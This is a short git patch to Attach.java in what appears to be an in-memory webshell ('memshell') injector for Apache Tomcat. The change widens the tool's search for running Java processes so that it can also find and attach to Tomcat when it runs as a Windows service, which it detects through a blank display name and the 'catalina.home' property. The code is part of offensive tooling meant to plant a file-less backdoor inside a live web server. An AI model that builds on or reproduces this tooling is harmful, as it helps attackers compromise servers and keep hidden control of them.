From 2a486bdcd3e007012232d742823478a03470b9e0 Mon Sep 17 00:00:00 2001 From: rebeyond <5929401@qq.com> Date: Sun, 24 Jun 2018 21:27:22 -0700 Subject: [PATCH] add support for tomcat installed as windows service --- src/net/rebeyond/memshell/Attach.java | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) mode change 100644 => 100755 src/net/rebeyond/memshell/Attach.java diff --git a/src/net/rebeyond/memshell/Attach.java b/src/net/rebeyond/memshell/Attach.java old mode 100644 new mode 100755 index 809a2e4..0cbbc7a --- a/src/net/rebeyond/memshell/Attach.java +++ b/src/net/rebeyond/memshell/Attach.java @@ -35,8 +35,13 @@ public class Attach { if (vmList.size() <= 0) continue; for (VirtualMachineDescriptor vmd : vmList) { - if (vmd.displayName().indexOf("catalina") >= 0) { + if (vmd.displayName().indexOf("catalina") >= 0||vmd.displayName().equals("")) { vm = VirtualMachine.attach(vmd); + + //ADD for tomcat windows service,dispayname is blank string and has key "catalina.home". + if (vmd.displayName().equals("")&&vm.getSystemProperties().containsKey("catalina.home")==false) + continue; + System.out.println("[+]OK.i find a jvm."); Thread.sleep(1000); if (null != vm) { @@ -46,7 +51,6 @@ public class Attach { return; } } - } Thread.sleep(3000); } catch (Exception e) { @@ -54,4 +58,4 @@ public class Attach { } } } -} +} \ No newline at end of file